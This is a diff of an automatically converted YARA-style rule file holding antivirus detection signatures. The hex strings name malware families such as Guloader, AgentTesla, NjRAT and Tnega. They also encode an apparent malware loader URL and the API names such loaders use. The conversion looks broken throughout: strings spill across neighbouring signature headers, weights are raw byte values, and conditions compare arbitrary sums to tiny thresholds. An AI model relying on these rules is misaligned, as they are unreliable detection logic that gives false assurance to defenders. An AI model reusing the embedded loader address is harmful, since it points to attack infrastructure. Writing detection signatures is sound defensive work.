- $a_81_3 = {6f 6d 6e 69 72 65 76 65 61 6c 69 6e 67 20 78 61 6e 74 68 20 67 72 65 6e 65 } //1 omnirevealing xanth grene - $a_81_4 = {70 65 74 72 69 66 69 63 61 6e 74 20 6c 61 79 65 72 73 } //1 petrificant layers + $a_64_2 = {72 2e 47 4d 42 30 31 21 4d 54 42 00 01 00 23 81 01 5c 6b 72 79 62 62 65 73 70 69 6c 6c 65 6e 65 5c 65 66 74 65 72 62 65 68 61 6e 64 6c 65 64 65 2e 68 74 6d 01 00 18 81 01 5c 66 72 65 6e 75 6d 5c 67 65 72 6d 69 6e 61 74 69 6f 6e 73 2e 74 78 74 01 00 0d 81 01 63 68 69 76 61 72 65 65 73 2e 73 } //28524 + $a_00_3 = {0c } //28001 + $a_65_4 = {63 69 74 69 63 2e 62 69 6e 01 00 17 81 01 62 75 74 6c 65 72 65 6e 73 5c 68 69 73 74 6f 72 69 63 69 73 69 6e 67 01 00 18 81 01 74 72 75 73 74 65 72 6e 65 5c 62 75 72 6d 61 6e 65 72 65 6e 2e 69 6e 69 00 00 78 c9 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4e 50 31 32 33 21 } //385 condition: - ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*92+(#a_64_2 & 1)*28524+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=6 + ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*92+(#a_64_2 & 1)*28524+(#a_00_3 & 1)*28001+(#a_65_4 & 1)*385) >=6 } -rule _InfrastructureShared_13751{ +rule _InfrastructureShared_14663{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 42 30 31 21 4d 54 42 00 01 00 23 81 01 5c 6b 72 79 62 62 65 73 70 69 6c 6c 65 6e 65 5c 65 66 74 65 72 62 65 68 61 6e 64 6c 65 64 65 2e 68 74 6d 01 00 18 81 01 5c 66 72 65 6e 75 6d 5c 67 65 72 6d } //18467 + $a_74_1 = {6f 6e 73 2e 74 78 74 01 00 0d 81 01 63 68 69 76 61 72 65 65 73 2e 73 61 6d 01 00 0c 81 01 6c 65 75 63 69 74 69 63 2e 62 69 6e 01 00 17 81 01 62 75 74 6c 65 72 65 6e 73 5c 68 69 73 74 6f 72 69 63 69 73 69 6e 67 01 00 18 81 01 74 72 75 73 74 65 72 6e 65 5c 62 75 72 6d 61 6e 65 72 65 6e 2e 69 } //28265 + $a_00_4 = {06 00 21 23 48 53 } //6 + $a_57_5 = {6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4e 50 31 32 33 21 4d 54 42 00 01 00 13 81 01 66 61 72 76 65 64 61 74 61 62 61 73 65 20 62 79 64 65 73 01 00 23 81 01 70 72 6f 6d } //21076 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28265+(#a_00_4 & 1)*6+(#a_57_5 & 1)*21076) >=6 + +} +rule _InfrastructureShared_14664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -155894,7 +166437,7 @@ rule _InfrastructureShared_13751{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29793+(#a_00_3 & 1)*6+(#a_57_4 & 1)*21076+(#a_6e_5 & 1)*25973) >=6 } -rule _InfrastructureShared_13752{ +rule _InfrastructureShared_14665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -155908,7 +166451,7 @@ rule _InfrastructureShared_13752{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*25345+(#a_4c_2 & 1)*8993+(#a_52_3 & 1)*17990+(#a_53_4 & 1)*20308) >=6 } -rule _InfrastructureShared_13753{ +rule _InfrastructureShared_14666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -155922,7 +166465,7 @@ rule _InfrastructureShared_13753{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*20047+(#a_73_2 & 1)*18772+(#a_00_4 & 1)*65+(#a_4d_5 & 1)*27503) >=7 } -rule _InfrastructureShared_13754{ +rule _InfrastructureShared_14667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -155936,7 +166479,7 @@ rule _InfrastructureShared_13754{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2048+(#a_58_2 & 1)*22616+(#a_2a_3 & 1)*0+(#a_48_6 & 1)*8448) >=7 } -rule _InfrastructureShared_13755{ +rule _InfrastructureShared_14668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -155952,7 +166495,7 @@ rule _InfrastructureShared_13755{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_72_2 & 1)*14930+(#a_00_3 & 1)*16448+(#a_41_4 & 1)*385+(#a_71_5 & 1)*29305+(#a_00_6 & 1)*99) >=7 } -rule _InfrastructureShared_13756{ +rule _InfrastructureShared_14669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -155968,7 +166511,7 @@ rule _InfrastructureShared_13756{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*16489+(#a_65_2 & 1)*28529+(#a_00_3 & 1)*101+(#a_6c_4 & 1)*27502+(#a_6e_5 & 1)*28484+(#a_65_6 & 1)*26167) >=7 } -rule _InfrastructureShared_13757{ +rule _InfrastructureShared_14670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -155981,7 +166524,7 @@ rule _InfrastructureShared_13757{ ((#a_63_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_49_2 & 1)*19770+(#a_69_3 & 1)*24434) >=8 } -rule _InfrastructureShared_13758{ +rule _InfrastructureShared_14671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -155996,7 +166539,7 @@ rule _InfrastructureShared_13758{ ((#a_4c_0 & 1)*21539+(#a_35_1 & 1)*14177+(#a_65_2 & 1)*26167+(#a_00_3 & 1)*66+(#a_35_4 & 1)*385+(#a_00_5 & 1)*29804) >=8 } -rule _InfrastructureShared_13759{ +rule _InfrastructureShared_14672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -156012,7 +166555,7 @@ rule _InfrastructureShared_13759{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*14425+(#a_01_2 & 1)*27745+(#a_34_3 & 1)*25971+(#a_00_4 & 1)*25966+(#a_52_5 & 1)*384+(#a_73_6 & 1)*21090) >=8 } -rule _InfrastructureShared_13760{ +rule _InfrastructureShared_14673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -156022,28 +166565,46 @@ rule _InfrastructureShared_13760{ $a_65_2 = {4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 80 01 66 72 6d 4d 61 69 6e 01 00 0f 80 01 47 65 74 54 65 78 74 46 72 6f 6d 4c 69 6e 65 01 00 14 80 01 69 52 75 6c 65 4d 61 6e 61 67 65 72 2e 4d 61 6e 61 67 65 72 01 00 16 00 78 78 78 78 78 78 } //384 $a_78_3 = {78 78 78 78 78 78 78 00 61 7a 78 00 00 78 c9 00 00 09 00 09 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 39 30 35 32 32 31 21 4d 54 42 00 01 00 0b 01 57 65 62 52 65 73 70 6f 6e 73 65 01 00 0b 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 11 01 47 65 74 52 65 73 70 6f 6e 73 65 53 74 72 65 61 6d 01 00 } //30840 $a_65_4 = {52 65 71 75 65 73 74 05 00 50 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 33 00 2e 00 36 00 38 00 2e 00 31 00 35 00 38 00 2e 00 32 00 33 00 37 00 2f 00 46 00 54 00 31 00 30 00 2f 00 6c 00 6f 00 61 00 64 00 65 00 72 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 } //266 - $a_00_5 = {00 00 78 c9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 45 21 4d 54 42 00 05 00 } //115 - $a_b3_6 = {00 8d 90 02 04 0a 73 90 02 04 0b 07 06 16 06 8e 69 6f 90 02 04 02 7b 90 02 04 28 90 02 04 07 6f 90 02 04 6f 90 02 04 6f 90 02 04 de 03 26 de 00 28 90 02 04 20 e8 03 00 00 28 90 02 04 02 02 7b 90 02 04 17 58 7d 90 02 04 02 7b 90 02 04 1f 0b 33 9c 2a 90 00 01 00 05 80 01 53 6c 65 65 70 01 00 06 } //856 - $a_65_7 = {44 6f 6d 01 00 09 80 01 47 65 74 42 75 66 66 65 72 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 c9 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d } //384 + $a_00_5 = {00 00 78 c9 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 47 6c } //115 + $a_6c_6 = {6c 6c 6f 63 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 0f 81 01 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 01 00 1d 81 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 74 65 61 6d 5c 4c 61 75 6e 63 68 65 72 01 00 07 81 } //25199 + $a_70_7 = {20 74 6f 01 00 0b 81 01 53 74 65 61 6d 20 53 65 74 75 70 01 00 11 81 01 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 05 81 01 53 74 65 61 6d 00 00 78 c9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 45 21 4d 54 42 00 05 00 58 03 62 b3 0d 00 8d 90 02 04 0a 73 90 } //17153 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_65_2 & 1)*384+(#a_78_3 & 1)*30840+(#a_65_4 & 1)*266+(#a_00_5 & 1)*115+(#a_b3_6 & 1)*856+(#a_65_7 & 1)*384) >=8 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_65_2 & 1)*384+(#a_78_3 & 1)*30840+(#a_65_4 & 1)*266+(#a_00_5 & 1)*115+(#a_6c_6 & 1)*25199+(#a_70_7 & 1)*17153) >=8 } -rule _InfrastructureShared_13761{ +rule _InfrastructureShared_14674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 39 30 35 32 32 31 21 4d 54 42 00 01 00 0b 01 57 65 62 52 65 73 70 6f 6e 73 65 01 00 0b 01 47 65 74 52 65 73 70 6f 6e 73 65 01 00 11 01 47 65 74 52 65 73 70 6f 6e 73 65 } //18467 - $a_65_1 = {6d 01 00 0a 01 57 65 62 52 65 71 75 65 73 74 05 00 50 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 33 00 2e 00 36 00 38 00 2e 00 31 00 35 00 38 00 2e 00 32 00 33 00 37 00 2f 00 46 00 54 00 31 00 30 00 2f 00 6c 00 6f 00 61 00 64 00 65 00 72 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 00 00 78 c9 00 00 0a 00 0a 00 06 00 21 23 48 } //29779 - $a_3a_2 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 45 21 4d 54 42 00 05 00 58 03 62 b3 0d 00 8d 90 02 04 0a 73 90 02 04 0b 07 06 16 06 8e 69 6f 90 02 04 02 7b 90 02 04 28 90 02 04 07 6f 90 02 04 6f 90 02 04 6f 90 02 04 de 03 26 de 00 28 90 } //21587 - $a_e8_3 = {00 00 28 90 02 04 02 02 7b 90 02 04 17 58 7d 90 02 04 02 7b 90 02 04 1f 0b 33 9c 2a 90 00 01 00 } //1026 - $a_53_4 = {65 } //-32763 e + $a_65_1 = {6d 01 00 0a 01 57 65 62 52 65 71 75 65 73 74 05 00 50 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 33 00 2e 00 36 00 38 00 2e 00 31 00 35 00 38 00 2e 00 32 00 33 00 37 00 2f 00 46 00 54 00 31 00 30 00 2f 00 6c 00 6f 00 61 00 64 00 65 00 72 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 00 00 78 c9 00 00 09 00 09 00 09 00 21 23 48 } //29779 + $a_3a_2 = {69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 47 6c 6f 62 61 6c 41 6c 6c 6f 63 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 0f 81 01 44 6c 6c 43 61 6e } //21587 + $a_6f_3 = {64 4e 6f 77 01 00 1d 81 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 74 65 61 6d 5c 4c 61 75 6e 63 68 65 72 01 00 07 81 01 43 6f 70 79 20 74 6f 01 00 0b 81 01 53 74 65 61 6d 20 53 65 74 75 70 01 00 11 81 01 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 05 81 01 53 74 65 61 6d 00 00 78 c9 00 00 0a 00 0a 00 } //28245 + $a_23_4 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 45 21 4d 54 42 00 05 00 58 } //6 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29779+(#a_3a_2 & 1)*21587+(#a_e8_3 & 1)*1026+(#a_53_4 & 1)*-32763) >=9 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29779+(#a_3a_2 & 1)*21587+(#a_6f_3 & 1)*28245+(#a_23_4 & 1)*6) >=9 } -rule _InfrastructureShared_13762{ +rule _InfrastructureShared_14675{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0b 81 01 47 6c 6f 62 61 6c 41 6c 6c 6f 63 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 0f 81 01 44 6c 6c 43 61 } //18467 + $a_6c_1 = {61 64 4e 6f 77 01 00 1d 81 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 74 65 61 6d 5c 4c 61 75 6e 63 68 65 72 01 00 07 81 01 43 6f 70 79 20 74 6f 01 00 0b 81 01 53 74 65 61 6d 20 53 65 74 75 70 01 00 11 81 01 56 61 6c 76 65 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 05 81 01 53 74 65 61 6d 00 00 78 c9 00 00 0a 00 0a 00 06 } //21870 + $a_48_2 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 45 21 4d 54 42 00 05 00 58 03 62 b3 } //8448 + $a_90_3 = {04 0a 73 90 02 04 0b 07 06 16 06 8e 69 6f 90 02 04 02 7b 90 02 04 28 90 02 04 07 6f 90 02 04 6f 90 02 04 6f 90 02 04 de 03 26 de 00 28 90 02 04 20 e8 03 00 00 28 90 02 04 02 02 7b 90 02 04 17 58 7d 90 02 04 02 7b 90 02 04 1f 0b 33 9c 2a 90 00 01 00 05 80 01 53 6c 65 65 70 01 00 06 80 01 4c 65 74 44 6f 6d 01 00 09 80 01 47 65 74 42 75 66 66 65 72 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 } //13 + $a_74_4 = {69 6e 67 00 00 78 c9 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 35 21 4d 54 42 00 01 00 08 80 01 67 65 74 5f 55 54 46 38 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 10 80 01 } //13366 + $a_6d_5 = {61 73 65 36 34 53 74 72 69 6e 67 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 09 80 01 47 65 74 53 74 72 69 6e 67 01 00 08 80 01 45 6e 63 6f 64 65 72 73 01 00 05 80 01 53 6c 65 65 70 01 00 1d 80 01 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 5f 41 73 73 65 6d 62 6c 79 52 65 73 6f 6c 76 65 01 00 06 80 01 48 65 6c 70 65 72 01 00 09 80 01 } //29254 + $a_76_6 = {72 74 6f 72 00 00 78 c9 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 32 33 21 4d 54 42 00 01 00 0c 81 01 51 6c 5a 4f 51 6b 31 49 53 6b 63 6b 01 00 09 81 01 42 56 4e 42 4d 48 4a 47 24 01 00 0c 81 01 51 6c 5a 4f 51 6b 31 49 53 6b 63 6c 01 00 0a 81 01 42 } //28483 + $a_4d_7 = {4a 47 26 26 01 00 06 81 01 53 74 72 69 6e 67 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 81 01 42 69 6e 64 69 } //20054 + $a_6c_8 = {67 73 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 c9 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 41 54 2e 4b 41 41 57 21 4d 54 42 00 03 00 } //26478 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*21870+(#a_48_2 & 1)*8448+(#a_90_3 & 1)*13+(#a_74_4 & 1)*13366+(#a_6d_5 & 1)*29254+(#a_76_6 & 1)*28483+(#a_4d_7 & 1)*20054+(#a_6c_8 & 1)*26478) >=9 + +} +rule _InfrastructureShared_14676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -156058,7 +166619,7 @@ rule _InfrastructureShared_13762{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*656+(#a_02_2 & 1)*656+(#a_7d_3 & 1)*5892+(#a_00_4 & 1)*10+(#a_6e_5 & 1)*27247) >=10 } -rule _InfrastructureShared_13763{ +rule _InfrastructureShared_14677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -156076,7 +166637,7 @@ rule _InfrastructureShared_13763{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26478+(#a_6f_2 & 1)*384+(#a_01_3 & 1)*25968+(#a_01_4 & 1)*2560+(#a_52_5 & 1)*20015+(#a_00_7 & 1)*112+(#a_34_8 & 1)*14385+(#a_69_9 & 1)*29295) >=10 } -rule _InfrastructureShared_13764{ +rule _InfrastructureShared_14678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -156093,7 +166654,7 @@ rule _InfrastructureShared_13764{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560+(#a_52_2 & 1)*20015+(#a_00_4 & 1)*112+(#a_34_5 & 1)*14385+(#a_69_6 & 1)*29295+(#a_c9_7 & 1)*0+(#a_2e_8 & 1)*21321) >=10 } -rule _InfrastructureShared_13765{ +rule _InfrastructureShared_14679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -156105,7 +166666,7 @@ rule _InfrastructureShared_13765{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_00_2 & 1)*115) >=12 } -rule _InfrastructureShared_13766{ +rule _InfrastructureShared_14680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 05 00 21 " @@ -156119,7 +166680,7 @@ rule _InfrastructureShared_13766{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_61_2 & 1)*384+(#a_00_3 & 1)*18+(#a_00_4 & 1)*29295) >=15 } -rule _InfrastructureShared_13767{ +rule _InfrastructureShared_14681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 07 00 21 " @@ -156135,7 +166696,7 @@ rule _InfrastructureShared_13767{ ((#a_6c_0 & 1)*16675+(#a_4c_1 & 1)*21587+(#a_01_2 & 1)*21836+(#a_00_3 & 1)*11851+(#a_05_4 & 1)*11822+(#a_65_5 & 1)*26708+(#a_00_6 & 1)*30051) >=18 } -rule _InfrastructureShared_13768{ +rule _InfrastructureShared_14682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " @@ -156147,7 +166708,7 @@ rule _InfrastructureShared_13768{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*27424+(#a_00_3 & 1)*0) >=20 } -rule _InfrastructureShared_13769{ +rule _InfrastructureShared_14683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 0b 00 21 " @@ -156165,7 +166726,7 @@ rule _InfrastructureShared_13769{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29811+(#a_23_3 & 1)*7+(#a_64_4 & 1)*16686+(#a_5f_5 & 1)*27753+(#a_61_6 & 1)*2053+(#a_ca_8 & 1)*0+(#a_05_9 & 1)*-28595+(#a_05_10 & 1)*-28547) >=41 } -rule _InfrastructureShared_13770{ +rule _InfrastructureShared_14684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 07 00 21 " @@ -156181,7 +166742,7 @@ rule _InfrastructureShared_13770{ ((#a_4c_0 & 1)*21539+(#a_4f_1 & 1)*25964+(#a_5c_2 & 1)*11617+(#a_83_3 & 1)*1025+(#a_8b_4 & 1)*-11725+(#a_6f_5 & 1)*17711+(#a_02_6 & 1)*2280) >=100 } -rule _InfrastructureShared_13771{ +rule _InfrastructureShared_14685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -156191,7 +166752,7 @@ rule _InfrastructureShared_13771{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13772{ +rule _InfrastructureShared_14686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -156204,7 +166765,7 @@ rule _InfrastructureShared_13772{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*-1917+(#a_72_2 & 1)*15120+(#a_ca_3 & 1)*2238) >=1 } -rule _InfrastructureShared_13773{ +rule _InfrastructureShared_14687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -156217,7 +166778,7 @@ rule _InfrastructureShared_13773{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*17803+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=1 } -rule _InfrastructureShared_13774{ +rule _InfrastructureShared_14688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -156230,7 +166791,7 @@ rule _InfrastructureShared_13774{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*95+(#a_73_2 & 1)*25974+(#a_00_3 & 1)*144) >=1 } -rule _InfrastructureShared_13775{ +rule _InfrastructureShared_14689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -156243,7 +166804,7 @@ rule _InfrastructureShared_13775{ ((#a_5f_0 & 1)*25635+(#a_6a_1 & 1)*976+(#a_48_2 & 1)*8448+(#a_00_3 & 1)*199) >=1 } -rule _InfrastructureShared_13776{ +rule _InfrastructureShared_14690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -156264,7 +166825,7 @@ rule _InfrastructureShared_13776{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*194+(#a_4b_2 & 1)*-14463+(#a_81_3 & 1)*1536+(#a_81_5 & 1)*1536+(#a_81_7 & 1)*1536+(#a_81_9 & 1)*1536+(#a_00_11 & 1)*30720+(#a_00_12 & 1)*30720+(#a_00_13 & 1)*30720+(#a_00_14 & 1)*30720+(#a_00_15 & 1)*30720) >=1 } -rule _InfrastructureShared_13777{ +rule _InfrastructureShared_14691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -156275,7 +166836,7 @@ rule _InfrastructureShared_13777{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*20481) >=2 } -rule _InfrastructureShared_13778{ +rule _InfrastructureShared_14692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -156285,7 +166846,7 @@ rule _InfrastructureShared_13778{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13779{ +rule _InfrastructureShared_14693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -156296,7 +166857,7 @@ rule _InfrastructureShared_13779{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*3208) >=2 } -rule _InfrastructureShared_13780{ +rule _InfrastructureShared_14694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -156307,7 +166868,7 @@ rule _InfrastructureShared_13780{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*656) >=2 } -rule _InfrastructureShared_13781{ +rule _InfrastructureShared_14695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -156317,7 +166878,7 @@ rule _InfrastructureShared_13781{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13782{ +rule _InfrastructureShared_14696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -156328,7 +166889,7 @@ rule _InfrastructureShared_13782{ ((#a_4c_0 & 1)*21539+(#a_78_1 & 1)*26975) >=3 } -rule _InfrastructureShared_13783{ +rule _InfrastructureShared_14697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -156339,7 +166900,7 @@ rule _InfrastructureShared_13783{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*45) >=3 } -rule _InfrastructureShared_13784{ +rule _InfrastructureShared_14698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -156349,7 +166910,7 @@ rule _InfrastructureShared_13784{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_13785{ +rule _InfrastructureShared_14699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -156359,7 +166920,7 @@ rule _InfrastructureShared_13785{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_13786{ +rule _InfrastructureShared_14700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -156370,7 +166931,7 @@ rule _InfrastructureShared_13786{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_13787{ +rule _InfrastructureShared_14701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -156381,7 +166942,7 @@ rule _InfrastructureShared_13787{ ((#a_46_0 & 1)*21283+(#a_49_1 & 1)*17803) >=3 } -rule _InfrastructureShared_13788{ +rule _InfrastructureShared_14702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -156393,7 +166954,7 @@ rule _InfrastructureShared_13788{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_72_2 & 1)*25697) >=3 } 